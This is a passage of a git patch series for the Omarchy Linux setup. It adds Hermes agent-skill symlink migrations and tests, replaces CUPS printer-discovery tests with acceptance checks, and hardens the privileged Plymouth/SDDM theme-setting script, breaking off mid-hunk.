b/manual/17-ai.md index 57698f42..d9a30755 100644 --- a/manual/17-ai.md +++ b/manual/17-ai.md @@ -51,6 +51,6 @@ Omarchy recommends two ways of running local LLM models: LM Studio and Ollama. L ### The Omarchy Skill -Agent skills help AI use specific tools in a specific way, and Omarchy ships with a default skill for tailoring the system. Like tweaking your Hyprland config, adjusting the bar, or even creating a new theme from scratch. It's symlinked into the skill directories for Claude Code (`~/.claude/skills`), Codex (`~/.codex/skills`), Pi (`~/.pi/agent/skills`), Antigravity (`~/.gemini/config/skills`), and the generic `~/.agents/skills` location, so most harnesses pick it up automatically. +Agent skills help AI use specific tools in a specific way, and Omarchy ships with a default skill for tailoring the system. Like tweaking your Hyprland config, adjusting the bar, or even creating a new theme from scratch. It's symlinked into the skill directories for Claude Code (`~/.claude/skills`), Codex (`~/.codex/skills`), Pi (`~/.pi/agent/skills`), Antigravity (`~/.gemini/config/skills`), Hermes (`~/.hermes/skills` and each `~/.hermes/profiles/*/skills`), and the generic `~/.agents/skills` location, so most harnesses pick it up automatically. But you should treat this skill as experimental. Different models will use it to different effect. It's best to run in plan mode first, so you have an idea of what the agent would like to change. And then be ready to rollback changes or even invoking `omarchy reinstall configs`, if the agent makes a mess of everything. diff --git a/migrations/1787843905.sh b/migrations/1787843905.sh new file mode 100644 index 00000000..e0e58cd5 --- /dev/null +++ b/migrations/1787843905.sh @@ -0,0 +1,22 @@ +echo "Link Omarchy agent skills into Hermes skill directories" + +OMARCHY_PATH="${OMARCHY_PATH:-/usr/share/omarchy}" +skills_source="$OMARCHY_PATH/default/agents/skills" + +[[ -d $skills_source ]] || exit 0 + +mkdir -p "$HOME/.hermes/skills" + +for skill in "$skills_source"/*/; do + [[ -d $skill ]] || continue + name=${skill%/} + name=${name##*/} + ln -sfn "$skills_source/$name" "$HOME/.hermes/skills/$name" + if [[ -d $HOME/.hermes/profiles ]]; then + for profile in "$HOME"/.hermes/profiles/*/; do + [[ -d $profile ]] || continue + mkdir -p "$profile/skills" + ln -sfn "$skills_source/$name" "$profile/skills/$name" + done + fi +done diff --git a/test/shell.d/provision-user-test.sh b/test/shell.d/provision-user-test.sh index b598242e..1acab3dc 100755 --- a/test/shell.d/provision-user-test.sh +++ b/test/shell.d/provision-user-test.sh @@ -8,7 +8,7 @@ test_tmp=$(mktemp -d) trap 'rm -rf "$test_tmp"' EXIT mock_bin="$test_tmp/bin" -mkdir -p "$mock_bin" "$test_tmp/home" +mkdir -p "$mock_bin" "$test_tmp/home" "$test_tmp/home/.hermes/profiles/james" for command in xdg-user-dirs-update xdg-settings xdg-mime; do printf '#!/bin/bash\nexit 0\n' >"$mock_bin/$command" @@ -30,6 +30,14 @@ for skill in omarchy diagnose-crash; do link="$test_tmp/home/.gemini/config/skills/$skill" [[ -L $link && $(readlink "$link") == "$ROOT/default/agents/skills/$skill" ]] || fail "omarchy-provision-user provisions the $skill skill for Antigravity" + + link="$test_tmp/home/.hermes/skills/$skill" + [[ -L $link && $(readlink "$link") == "$ROOT/default/agents/skills/$skill" ]] || + fail "omarchy-provision-user provisions the $skill skill for Hermes" + + link="$test_tmp/home/.hermes/profiles/james/skills/$skill" + [[ -L $link && $(readlink "$link") == "$ROOT/default/agents/skills/$skill" ]] || + fail "omarchy-provision-user provisions the $skill skill for a Hermes profile" done -pass "omarchy-provision-user provisions Antigravity skills" +pass "omarchy-provision-user provisions Antigravity and Hermes skills" From 2002fb35ed4d6abd9cd38353b8b1da32470ad2a4 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sat, 29 Aug 2026 15:27:16 -0400 Subject: [PATCH 136/336] Test installed CUPS state directly --- test/acceptance.d/cups-test.sh | 51 +++ test/acceptance.d/system-test.sh | 44 +-- .../cups-browsed-removal-migration-test.sh | 358 ------------------ 3 files changed, 53 insertions(+), 400 deletions(-) create mode 100644 test/acceptance.d/cups-test.sh delete mode 100644 test/shell.d/cups-browsed-removal-migration-test.sh diff --git a/test/acceptance.d/cups-test.sh b/test/acceptance.d/cups-test.sh new file mode 100644 index 00000000..b2c82fe7 --- /dev/null +++ b/test/acceptance.d/cups-test.sh @@ -0,0 +1,51 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +for package in cups cups-filters system-config-printer cups-pk-helper; do + pacman -Q "$package" >/dev/null 2>&1 || fail "printing packages are installed" "$package is missing" +done +pass "printing packages are installed" + +! pacman -Q cups-pdf >/dev/null 2>&1 || fail "the root CUPS-PDF backend is absent" +pass "the root CUPS-PDF backend is absent" + +! pacman -Q cups-browsed >/dev/null 2>&1 || fail "automatic printer discovery is absent" +! systemctl is-enabled --quiet cups-browsed.service 2>/dev/null || + fail "automatic printer discovery is not enabled" +! systemctl is-active --quiet cups-browsed.service 2>/dev/null || + fail "automatic printer discovery is not running" +! pgrep -x cups-browsed >/dev/null 2>&1 || fail "no cups-browsed process exists" +pass "automatic printer discovery is not installed or running" + +for path in \ + /etc/cups/cups-browsed.conf \ + /etc/cups/cups-browsed.conf.pacsave \ + /etc/cups/cups-browsed.conf.pacnew \ + /usr/bin/cups-browsed \ + /usr/lib/cups/backend/implicitclass \ + /usr/lib/systemd/system/cups-browsed.service \ + /etc/systemd/system/multi-user.target.wants/cups-browsed.service; do + [[ ! -e $path && ! -L $path ]] || + fail "automatic printer discovery leaves no package files" "$path still exists" +done +pass "automatic printer discovery leaves no package files" + +systemctl is-enabled --quiet cups.service || fail "CUPS is enabled" +systemctl is-active --quiet cups.service || fail "CUPS is running" +timeout 10 lpstat -r >/dev/null 2>&1 || fail "the CUPS scheduler answers" +pass "CUPS is enabled, running, and answering" + +policy_metadata=$(stat -c '%U:%G %a' /etc/cups/cups-files.conf) +[[ $policy_metadata == "root:cups 640" ]] || + fail "the CUPS authorization policy is protected" "$policy_metadata" +pass "the CUPS authorization policy is protected" + +if lpinfo_output=$(LC_ALL=C timeout 10 lpinfo -v &1); then + fail "the desktop user cannot administer CUPS without authentication" +elif [[ $lpinfo_output != *"Forbidden"* ]]; then + fail "CUPS explicitly denies unauthenticated desktop administration" "$lpinfo_output" +fi +pass "CUPS denies unauthenticated desktop administration" diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index ab3affa7..610fcb4b 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -47,7 +47,7 @@ verify_services() { local unit for unit in \ - avahi-daemon.service cups.service docker.socket \ + avahi-daemon.service docker.socket \ NetworkManager.service power-profiles-daemon.service sddm.service \ systemd-resolved.service ufw.service; do systemctl is-enabled --quiet "$unit" || fail "core system services are enabled" "$unit is not enabled" @@ -64,46 +64,6 @@ verify_services() { pass "user audio services are running" } -verify_printing_security() { - local lpinfo_output path - - ! pacman -Q cups-pdf >/dev/null 2>&1 || fail "CUPS-PDF is absent" - pass "the root CUPS-PDF backend is not installed" - - # Automatic discovery is temporarily out of the default install: a daemon that - # turns anything advertising itself on the network into a print queue is more - # exposure than the convenience is worth while it is reworked. CUPS itself - # stays, so what a stock machine proves here is that printing runs and that - # the desktop user still cannot administer it without authenticating. - ! pacman -Q cups-browsed >/dev/null 2>&1 || fail "automatic printer discovery is not installed" - ! systemctl is-enabled --quiet cups-browsed.service 2>/dev/null || - fail "no discovery service is enabled" - ! systemctl is-active --quiet cups-browsed.service 2>/dev/null || - fail "no discovery service is running" - - for path in \ - /etc/cups/cups-browsed.conf \ - /etc/cups/cups-browsed.conf.pacsave \ - /usr/bin/cups-browsed \ - /usr/lib/cups/backend/implicitclass \ - /usr/lib/systemd/system/cups-browsed.service \ - /etc/systemd/system/multi-user.target.wants/cups-browsed.service; do - [[ ! -e $path && ! -L $path ]] || - fail "automatic printer discovery leaves no installed package files" "$path still exists" - done - pass "automatic printer discovery is absent from a stock install" - - systemctl is-active --quiet cups.service || fail "CUPS is running" - - if lpinfo_output=$(LC_ALL=C timeout 10 lpinfo -v &1); then - fail "the desktop user cannot administer CUPS without authentication" - elif [[ $lpinfo_output != *"Forbidden"* ]]; then - fail "CUPS explicitly denies unauthenticated desktop administration" "$lpinfo_output" - fi - - pass "CUPS runs with passwordless desktop administration still denied" -} - verify_runtime_tools() { # Docker access is intentionally NOT granted to the desktop user: the docker # group is root-equivalent, so a rogue process running as the user could @@ -147,7 +107,7 @@ verify_user_setup() { pass "Omarchy user state and shell configuration exist" } -for check in verify_core_packages verify_defaults verify_services verify_printing_security verify_runtime_tools verify_user_setup; do +for check in verify_core_packages verify_defaults verify_services verify_runtime_tools verify_user_setup; do if ! ("$check"); then status=1 fi diff --git a/test/shell.d/cups-browsed-removal-migration-test.sh b/test/shell.d/cups-browsed-removal-migration-test.sh deleted file mode 100644 index a311e6e7..00000000 --- a/test/shell.d/cups-browsed-removal-migration-test.sh +++ /dev/null @@ -1,358 +0,0 @@ -#!/bin/bash - -set -euo pipefail - -source "$(cd -- "$(dirname -- "$0")" && pwd)/base-test.sh" - -migration="$ROOT/migrations/1788009111.sh" - -test_tmp=$(mktemp -d) -trap 'rm -rf "$test_tmp"' EXIT - -mock_bin="$test_tmp/bin" -mkdir -p "$mock_bin" "$test_tmp/var/lib/omarchy/migrations" - -# Every privileged step is stubbed: a real run here would take printer -# discovery off the developer's own machine. -cat >"$mock_bin/omarchy-pkg-present" <<'SH' -#!/bin/bash -[[ " $BROWSED_INSTALLED " == *" $1 "* ]] -SH - -cat >"$mock_bin/omarchy-pkg-drop" <<'SH' -#!/bin/bash -printf 'omarchy-pkg-drop\t%s\n' "$*" >>"$BROWSED_LOG" -[[ -z $BROWSED_DROP_FAILS ]] -SH - -cat >"$mock_bin/pacman" <<'SH' -#!/bin/bash -printf 'pacman\t%s\n' "$*" >>"$BROWSED_LOG" -if [[ $* == *--print* ]]; then - [[ -z $BROWSED_REMOVAL_BLOCKED ]] -fi -SH - -cat >"$mock_bin/systemctl" <<'SH' -#!/bin/bash -printf 'systemctl\t%s\n' "$*" >>"$BROWSED_LOG" -unit=$3 -case $1 in - is-enabled) [[ " $BROWSED_ENABLED " == *" $unit "* ]] ;; - is-active) [[ " $BROWSED_ACTIVE " == *" $unit "* ]] ;; - *) : ;; -esac -SH - -cat >"$mock_bin/sudo" <<'SH' -#!/bin/bash -printf 'sudo\t%s\n' "$*" >>"$BROWSED_LOG" -exec "$@" -SH - -cat >"$mock_bin/install" <<'SH' -#!/bin/bash -printf 'install\t%s\n' "$*" >>"$BROWSED_LOG" -exec /usr/bin/install "$@" -SH - -# lpstat reports only package-generated queues on the implicitclass backend. -# Manual ipp:// and usb:// printers must survive. -cat >"$mock_bin/lpstat" <<'SH' -#!/bin/bash -printf 'lpstat\t%s\n' "$*" >>"$BROWSED_LOG" -case $1 in - -v) - if [[ -n $BROWSED_LPSTAT_FAILS ]]; then - echo "lpstat: Scheduler is not responding." >&2 - exit 1 - elif [[ -z $BROWSED_QUEUES ]]; then - echo "lpstat: No destinations added." >&2 - exit 1 - elif [[ $LC_ALL == "C" ]]; then - printf '%s\n' "$BROWSED_QUEUES" - else - printf '%s\n' "$BROWSED_QUEUES" | sed 's|^device for |Gerät für |' - fi - ;; - -p) - [[ " $BROWSED_GONE_QUEUES " != *" $2 "* ]] - ;; - -o) - if [[ -n $BROWSED_LPSTAT_O_FAILS ]]; then - echo "lpstat: Scheduler is not responding." >&2 - exit 1 - fi - if [[ " $BROWSED_BUSY_QUEUES " == *" $2 "* ]]; then - printf '%s-7 alice 1024\n' "$2" - fi - ;; -esac -SH - -cat >"$mock_bin/lpadmin" <<'SH' -#!/bin/bash -printf 'lpadmin\t%s\n' "$*" >>"$BROWSED_LOG" -if [[ -n $BROWSED_LPADMIN_FAILS ]]; then - echo "lpadmin: Printer does not exist." >&2 - exit 1 -fi -SH - -cat >"$mock_bin/cupsreject" <<'SH' -#!/bin/bash -printf 'cupsreject\t%s\n' "$*" >>"$BROWSED_LOG" -if [[ -n $BROWSED_REJECT_FAILS ]]; then - echo "cupsreject: Unable to reject jobs." >&2 - exit 1 -fi -SH - -chmod +x "$mock_bin"/* - -log="$test_tmp/actions.log" -output="$test_tmp/migration.out" -errors="$test_tmp/migration.err" -status=0 - -start_case() { - installed="cups-browsed" - enabled="cups-browsed.service" - active="cups-browsed.service cups.service" - blocked="" - drop_fails="" - queues="" - busy="" - lpstat_fails="" - lpstat_o_fails="" - lpadmin_fails="" - reject_fails="" - gone_queues="" - use_marker="$test_tmp/var/lib/omarchy/migrations/$1" - rm -f "$use_marker" -} - -run_migration() { - : >"$log" - : >"$output" - : >"$errors" - - if env -u LC_ALL -u LANGUAGE \ - BROWSED_LOG="$log" \ - BROWSED_INSTALLED="$installed" \ - BROWSED_ENABLED="$enabled" \ - BROWSED_ACTIVE="$active" \ - BROWSED_REMOVAL_BLOCKED="$blocked" \ - BROWSED_DROP_FAILS="$drop_fails" \ - BROWSED_QUEUES="$queues" \ - BROWSED_BUSY_QUEUES="$busy" \ - BROWSED_LPSTAT_FAILS="$lpstat_fails" \ - BROWSED_LPSTAT_O_FAILS="$lpstat_o_fails" \ - BROWSED_LPADMIN_FAILS="$lpadmin_fails" \ - BROWSED_REJECT_FAILS="$reject_fails" \ - BROWSED_GONE_QUEUES="$gone_queues" \ - PATH="$mock_bin:$PATH" \ - OMARCHY_PATH="$ROOT" \ - OMARCHY_CUPS_BROWSED_REMOVAL_MARKER="$use_marker" \ - bash -euo pipefail "$migration" >"$output" 2>"$errors"; then - status=0 - else - status=$? - fi -} - -assert_description_only() { - [[ $(<"$output") == "Temporarily remove automatic printer discovery" ]] || - fail "the migration prints only its description" "$(cat "$output")" -} - -assert_quiet_success() { - (( status == 0 )) || fail "the migration succeeds" "$(cat "$errors")" - assert_description_only - [[ ! -s $errors ]] || fail "a successful migration is quiet" "$(cat "$errors")" -} - -# ------------------------------------------------ a machine that has printers - -start_case printers -queues=$'device for Office: implicitclass://Office/\ndevice for Front_Desk: implicitclass://Front_Desk/\ndevice for all: implicitclass://all/\ndevice for Desk: ipp://192.168.1.9/ipp/print\ndevice for Attic: usb://HP/LaserJet%20P1102' -run_migration -assert_quiet_success - -grep -qxF $'pacman\t-Rs --print cups-browsed' "$log" || - fail "the migration preflights the package removal" "$(cat "$log")" -grep -qxF $'sudo\tsystemctl disable --now cups-browsed.service' "$log" || - fail "the migration disables and stops discovery" "$(cat "$log")" -for queue in Office Front_Desk all; do - grep -qxF "sudo lpadmin -x $queue" "$log" || - fail "the migration removes generated queue $queue" "$(cat "$log")" -done -grep -q 'lpadmin -x Desk' "$log" && - fail "the migration leaves a manually-added IPP printer alone" "$(cat "$log")" -grep -q 'lpadmin -x Attic' "$log" && - fail "the migration leaves a manually-added USB printer alone" "$(cat "$log")" -grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || - fail "the migration uses the standard package removal helper" "$(cat "$log")" -[[ -f $use_marker ]] || fail "the migration records machine-wide completion" - -disable_line=$(grep -n 'disable --now' "$log" | head -1 | cut -d: -f1) -cleanup_line=$(grep -n 'lpadmin -x' "$log" | tail -1 | cut -d: -f1) -removal_line=$(grep -n 'omarchy-pkg-drop' "$log" | head -1 | cut -d: -f1) -(( disable_line < cleanup_line && cleanup_line < removal_line )) || - fail "the service and queues are handled before package removal" "$(cat "$log")" -pass "generated queues are removed, manual printers survive, and normal output is quiet" - -# ------------------------------------ a second user, after a deliberate reinstall - -run_migration -assert_quiet_success -[[ ! -s $log ]] || fail "a completed machine-wide removal is left alone" "$(cat "$log")" -pass "a second user does not undo a deliberate reinstall" - -# ----------------------------------------- a machine that never had discovery - -start_case no-package -installed="" -run_migration -assert_quiet_success -[[ ! -s $log ]] || fail "a machine without discovery is left alone" "$(cat "$log")" -[[ ! -e $use_marker ]] || fail "a machine without discovery gets no marker" -pass "a machine without cups-browsed does no privileged work" - -# --------------------------------------------- a machine that has no printers - -start_case no-printers -run_migration -assert_quiet_success -grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || - fail "no printers does not prevent package removal" "$(cat "$log")" -grep -qE 'cupsreject|lpadmin' "$log" && - fail "no printers requires no queue administration" "$(cat "$log")" -[[ -f $use_marker ]] || fail "the no-printer migration records completion" -pass "CUPS reporting no destinations is a successful empty migration" - -# ------------------------------------------------- a blocked package removal - -start_case blocked -blocked="1" -run_migration -(( status != 0 )) || fail "a blocked package removal remains pending" -assert_description_only -grep -q 'disable --now' "$log" && - fail "a blocked removal does not stop discovery" "$(cat "$log")" -grep -q 'omarchy-pkg-drop' "$log" && - fail "a blocked removal does not invoke package removal" "$(cat "$log")" -[[ ! -e $use_marker ]] || fail "a blocked removal gets no marker" -pass "a package dependency prevents any partial migration" - -# --------------------------------------------------- a queue that has jobs - -start_case busy -queues=$'device for Office: implicitclass://Office/\ndevice for Spare: implicitclass://Spare/' -busy="Office" -run_migration -assert_quiet_success -grep -q 'lpadmin -x Office' "$log" && - fail "a queue with jobs is not deleted" "$(cat "$log")" -grep -qxF $'sudo\tlpadmin -x Spare' "$log" || - fail "an idle generated queue is deleted" "$(cat "$log")" -grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || - fail "a busy queue does not retain the discovery package" "$(cat "$log")" - -reject_line=$(grep -n 'cupsreject.*Spare' "$log" | head -1 | cut -d: -f1) -probe_line=$(grep -n $'^lpstat\t-o Spare' "$log" | head -1 | cut -d: -f1) -delete_line=$(grep -n 'lpadmin -x Spare' "$log" | head -1 | cut -d: -f1) -(( reject_line < probe_line && probe_line < delete_line )) || - fail "a queue is closed before it is checked and deleted" "$(cat "$log")" -pass "busy queues survive while idle discovery queues are removed" - -# ------------------------------------------------- a job query that fails - -start_case job-query-fails -queues=$'device for Office: implicitclass://Office/' -lpstat_o_fails="1" -run_migration -(( status != 0 )) || fail "a failed job query keeps the migration pending" -assert_description_only -grep -q 'lpadmin -x' "$log" && - fail "a queue with unknown job state is not deleted" "$(cat "$log")" -grep -q 'omarchy-pkg-drop' "$log" && - fail "a failed job query retains the package" "$(cat "$log")" -[[ ! -e $use_marker ]] || fail "a failed job query gets no marker" -pass "a failed job query is retryable instead of falsely completing" - -# ------------------------------------------------------ CUPS out of reach - -start_case no-cups -queues=$'device for Office: implicitclass://Office/' -lpstat_fails="1" -run_migration -(( status != 0 )) || fail "an unavailable CUPS server keeps the migration pending" -assert_description_only -grep -qxF "lpstat: Scheduler is not responding." "$errors" || - fail "the underlying CUPS failure is preserved" "$(cat "$errors")" -grep -q 'omarchy-pkg-drop' "$log" && - fail "an unavailable CUPS server retains the package" "$(cat "$log")" -[[ ! -e $use_marker ]] || fail "an unavailable CUPS server gets no marker" -pass "an actual CUPS failure remains pending without custom telemetry" - -# ------------------------------------------------ a queue that will not go - -start_case stuck-queue -queues=$'device for Office: implicitclass://Office/' -lpadmin_fails="1" -run_migration -(( status != 0 )) || fail "a failed queue deletion keeps the migration pending" -grep -q 'omarchy-pkg-drop' "$log" && - fail "a persistent generated queue retains the backend" "$(cat "$log")" -[[ ! -e $use_marker ]] || fail "a failed queue deletion gets no marker" -pass "a persistent generated queue prevents partial completion" - -# --------------------------------------------- a queue removed concurrently - -start_case vanished-queue -queues=$'device for Office: implicitclass://Office/' -lpadmin_fails="1" -gone_queues="Office" -run_migration -assert_quiet_success -grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || - fail "a concurrently removed queue does not block package removal" "$(cat "$log")" -pass "a queue removed concurrently counts as removed" - -# ------------------------------------------- a queue that cannot be closed - -start_case open-queue -queues=$'device for Office: implicitclass://Office/' -reject_fails="1" -run_migration -(( status != 0 )) || fail "a queue that cannot be closed keeps the migration pending" -grep -q 'lpadmin -x' "$log" && - fail "a queue still accepting jobs is not deleted" "$(cat "$log")" -grep -q 'omarchy-pkg-drop' "$log" && - fail "a queue still accepting jobs retains the backend" "$(cat "$log")" -[[ ! -e $use_marker ]] || fail "a queue still accepting jobs gets no marker" -pass "a queue that cannot be closed is retried later" - -# -------------------------------------------------- a masked but running daemon - -start_case masked -enabled="" -active="cups-browsed.service" -run_migration -assert_quiet_success -grep -qxF $'sudo\tsystemctl stop cups-browsed.service' "$log" || - fail "a masked running daemon is stopped" "$(cat "$log")" -grep -q 'disable --now' "$log" && - fail "a masked unit is not disabled" "$(cat "$log")" -pass "a masked running daemon is stopped without noisy output" - -# ------------------------------------------------ a package removal that fails - -start_case drop-fails -drop_fails="1" -run_migration -(( status != 0 )) || fail "a failed package removal keeps the migration pending" -assert_description_only -[[ ! -e $use_marker ]] || fail "a failed package removal gets no marker" -pass "a package removal failure cannot be recorded as complete" From e482977f0928d9592c6bd29378f3a2a0e4f5f421 Mon Sep 17 00:00:00 2001 From: Michael Gannotti Date: Sat, 29 Aug 2026 15:31:29 -0400 Subject: [PATCH 137/336] Add a Hermes skills migration test and list Antigravity in file-layout The provision-user suite never ran the one-shot migration. Cover default-home links, a pre-existing profile, idempotency, and a missing skill source. Document ~/.gemini/config/skills and stop wrapping that bullet. --- docs/file-layout.md | 7 +- test/shell.d/hermes-skills-migration-test.sh | 75 ++++++++++++++++++++ 2 files changed, 76 insertions(+), 6 deletions(-) create mode 100755 test/shell.d/hermes-skills-migration-test.sh diff --git a/docs/file-layout.md b/docs/file-layout.md index 08516524..24c21af5 100644 --- a/docs/file-layout.md +++ b/docs/file-layout.md @@ -198,12 +198,7 @@ Runs once per user. It does **not** copy `~/.config/**`, `~/.bashrc`, `flags.lua`, or the nautilus extensions — `/etc/skel` already seeded those. It only does the things `/etc/skel` can't: -- Skill symlinks `~/.{agents,claude,codex,pi/agent,hermes}/skills/` (and each `~/.hermes/profiles/*/skills/`) → - `$OMARCHY_PATH/default/agents/skills/`, looping over every skill - directory there (currently `omarchy` and `diagnose-crash`) so new skills - need no edit. Symlinks (not copies) so `omarchy dev link` against a dev - checkout repoints them correctly. Hermes profile dirs are only linked when - they already exist — provision does not create Hermes profiles. +- Skill symlinks into `~/.agents/skills/`, `~/.claude/skills/`, `~/.codex/skills/`, `~/.pi/agent/skills/`, `~/.gemini/config/skills/` (Antigravity), `~/.hermes/skills/`, and each existing `~/.hermes/profiles/*/skills/` → `$OMARCHY_PATH/default/agents/skills/`, looping over every skill directory there (currently `omarchy` and `diagnose-crash`) so new skills need no edit. Symlinks (not copies) so `omarchy dev link` against a dev checkout repoints them correctly. Hermes profile dirs are only linked when they already exist — provision does not create Hermes profiles. - `xdg-user-dirs-update` (Templates/Public/Desktop folded back into `$HOME`) and `~/.config/gtk-3.0/bookmarks` (needs `$HOME` expansion). - Hyprland's package-owned default input reads `XKBLAYOUT` / `XKBVARIANT` diff --git a/test/shell.d/hermes-skills-migration-test.sh b/test/shell.d/hermes-skills-migration-test.sh new file mode 100755 index 00000000..f1145bd7 --- /dev/null +++ b/test/shell.d/hermes-skills-migration-test.sh @@ -0,0 +1,75 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +migration="$ROOT/migrations/1787843905.sh" +[[ -f $migration ]] || fail "Hermes skills migration exists" + +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT +home="$test_dir/home" + +run_migration() { + HOME="$home" OMARCHY_PATH="$ROOT" bash -euo pipefail "$migration" >/dev/null || + fail "migration exits clean" +} + +assert_link() { + local link="$1" + local skill="$2" + local description="$3" + + [[ -L $link && $(readlink "$link") == "$ROOT/default/agents/skills/$skill" ]] || + fail "$description" "$link -> $(readlink "$link" 2>/dev/null || echo missing)" +} + +# ------------------------------------------------------------------ default home, no profiles + +rm -rf "$home" +mkdir -p "$home" +run_migration + +for skill in omarchy diagnose-crash; do + assert_link "$home/.hermes/skills/$skill" "$skill" "migration links $skill into the default Hermes home" +done +[[ -e $home/.hermes/profiles ]] && fail "migration does not create Hermes profiles" +pass "migration links the default Hermes home and does not create profiles" + +run_migration +for skill in omarchy diagnose-crash; do + assert_link "$home/.hermes/skills/$skill" "$skill" "migration is idempotent on the default home for $skill" +done +pass "migration is idempotent on the default home" + +# ------------------------------------------------------------------ pre-existing profile + +rm -rf "$home" +mkdir -p "$home/.hermes/profiles/james" +run_migration + +for skill in omarchy diagnose-crash; do + assert_link "$home/.hermes/skills/$skill" "$skill" "migration links $skill into the default Hermes home when a profile exists" + assert_link "$home/.hermes/profiles/james/skills/$skill" "$skill" "migration links $skill into a pre-existing Hermes profile" +done +[[ -d $home/.hermes/profiles/james ]] || fail "migration leaves the pre-existing profile in place" +profile_count=$(find "$home/.hermes/profiles" -mindepth 1 -maxdepth 1 -type d | wc -l) +(( profile_count == 1 )) || fail "migration does not create extra profiles" "count=$profile_count" +pass "migration links a pre-existing Hermes profile and does not create extras" + +run_migration +for skill in omarchy diagnose-crash; do + assert_link "$home/.hermes/skills/$skill" "$skill" "migration is idempotent on the default home when a profile exists for $skill" + assert_link "$home/.hermes/profiles/james/skills/$skill" "$skill" "migration is idempotent on a pre-existing profile for $skill" +done +pass "migration is idempotent on a pre-existing profile" + +# ------------------------------------------------------------------ missing skill source + +rm -rf "$home" +mkdir -p "$home" "$test_dir/empty-omarchy" +HOME="$home" OMARCHY_PATH="$test_dir/empty-omarchy" bash -euo pipefail "$migration" >/dev/null || + fail "migration exits clean when the skill source is missing" +[[ -e $home/.hermes ]] && fail "migration no-ops when the skill source is missing" +pass "migration no-ops when the skill source is missing" From 70e79c40ae52ac44e8a8399d835e9e0ccf0ed6f2 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sat, 29 Aug 2026 18:19:51 -0400 Subject: [PATCH 138/336] Harden Plymouth and SDDM reset publication --- bin/omarchy-plymouth-reset | 6 +- bin/omarchy-plymouth-set | 115 ++++++--- bin/omarchy-refresh-sddm | 5 +- test/shell.d/plymouth-set-test.sh | 387 ++++++++++++++++++++++++++---- 4 files changed, 428 insertions(+), 85 deletions(-) diff --git a/bin/omarchy-plymouth-reset b/bin/omarchy-plymouth-reset index 797d3cb0..fa3a3696 100755 --- a/bin/omarchy-plymouth-reset +++ b/bin/omarchy-plymouth-reset @@ -3,5 +3,7 @@ # omarchy:summary=Restore the default Omarchy Plymouth boot theme and SDDM login screen # omarchy:requires-sudo=true -omarchy-refresh-plymouth -omarchy-refresh-sddm +set -euo pipefail + +"$OMARCHY_PATH/bin/omarchy-refresh-plymouth" +"$OMARCHY_PATH/bin/omarchy-refresh-sddm" diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index ff35b449..44c32b75 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -11,21 +11,39 @@ set -euo pipefail # fixed destination atomically. The caller opens the selected logo before sudo, # so the privileged process never resolves a user-controlled input path. -refresh_default=false -if (( $# == 1 )) && [[ $1 == "--refresh-default" ]]; then - refresh_default=true -elif (( $# != 3 )); then +usage() { echo "Usage: omarchy-plymouth-set " >&2 exit 1 +} + +if (( $# == 3 )); then + mode=set +elif (( $# == 1 )); then + case "$1" in + --refresh-default) + mode=refresh-plymouth + ;; + --refresh-sddm-default) + mode=refresh-sddm + ;; + *) + usage + ;; + esac +else + usage +fi + +if (( EUID == 0 )); then + echo "Error: run omarchy-plymouth-set as your user, not under sudo." >&2 + exit 1 fi logo_fd= -if $refresh_default; then - mode=refresh +if [[ $mode != "set" ]]; then bg_hex= text_hex= else - mode=set bg_hex="${1#\#}" text_hex="${2#\#}" logo_path="$3" @@ -67,6 +85,7 @@ run_root_transaction() { set -eEuo pipefail PATH=/usr/bin:/bin export PATH + umask 077 # Every check below is a bare assertion that aborts under set -e. Name the # subject of each one so a refusal reaches the user instead of exiting mute. @@ -89,7 +108,7 @@ run_root_transaction() { max_asset_size=$5 failure_context="the arguments of the privileged transaction" - [[ $mode == "set" || $mode == "refresh" ]] + [[ $mode == "set" || $mode == "refresh-plymouth" || $mode == "refresh-sddm" ]] [[ $source_root == /* ]] [[ $max_asset_size =~ ^[0-9]+$ ]] (( max_asset_size > 0 )) @@ -187,6 +206,22 @@ run_root_transaction() { ) plymouth_default_assets=("${plymouth_theme_assets[@]}" logos/oma.png) sddm_theme_assets=(Main.qml bullet.png entry-failed.png entry.png lock-failed.png lock.png logo.png) + sddm_default_assets=("${sddm_theme_assets[@]}" metadata.desktop theme.conf) + + plymouth_assets=() + sddm_assets=() + case "$mode" in + set) + plymouth_assets=("${plymouth_theme_assets[@]}") + sddm_assets=("${sddm_theme_assets[@]}") + ;; + refresh-plymouth) + plymouth_assets=("${plymouth_default_assets[@]}") + ;; + refresh-sddm) + sddm_assets=("${sddm_default_assets[@]}") + ;; + esac validate_trusted_file() { local source=$1 canonical uid file_mode size @@ -211,9 +246,7 @@ run_root_transaction() { local source=$1 destination=$2 validate_trusted_file "$source" - cp --reflink=never -- "$source" "$destination" - chown 0:0 -- "$destination" - chmod 0600 -- "$destination" + install -o 0 -g 0 -m 0600 -- "$source" "$destination" } staging_dir=$(mktemp -d /tmp/omarchy-plymouth.XXXXXXXX) @@ -230,13 +263,7 @@ run_root_transaction() { sddm_stage=$staging_dir/sddm mkdir -m 0700 -p -- "$plymouth_stage/logos" "$sddm_stage" - if [[ $mode == "refresh" ]]; then - assets_to_stage=("${plymouth_default_assets[@]}") - else - assets_to_stage=("${plymouth_theme_assets[@]}") - fi - - for asset in "${assets_to_stage[@]}"; do + for asset in "${plymouth_assets[@]}"; do copy_trusted_file "$source_root/default/plymouth/$asset" "$plymouth_stage/$asset" done @@ -280,6 +307,20 @@ run_root_transaction() { done chown -R 0:0 -- "$staging_dir" find "$staging_dir" -type f -exec chmod 0600 -- {} + + elif (( ${#sddm_assets[@]} )); then + for asset in "${sddm_assets[@]}"; do + copy_trusted_file "$source_root/default/sddm/omarchy/$asset" "$sddm_stage/$asset" + done + fi + + if (( ${#plymouth_assets[@]} )); then + validate_trusted_directory "$theme_dir" + if [[ $mode == 